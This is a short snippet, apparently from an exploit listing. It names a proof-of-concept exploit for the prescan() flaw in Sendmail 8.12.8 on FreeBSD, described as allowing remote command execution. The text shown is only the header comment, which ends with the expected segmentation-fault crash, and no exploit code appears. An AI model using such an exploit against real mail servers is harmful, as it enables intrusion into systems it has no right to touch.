Sendmail 8.12.8 vulnerable to Remote Command Execution via prescan() exploit affecting FreeBSD.

Code
/*
 * Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin
 * 
 * This is to prove that the bug in sendmail 8.12.8 and below is vulnerable.
 * On sucessful POC exploitation the program should crash with the following:
 *
 * Program received signal SIGSEGV, Segmentation fault.
 * 0x5c5c5c5c in ?? ()
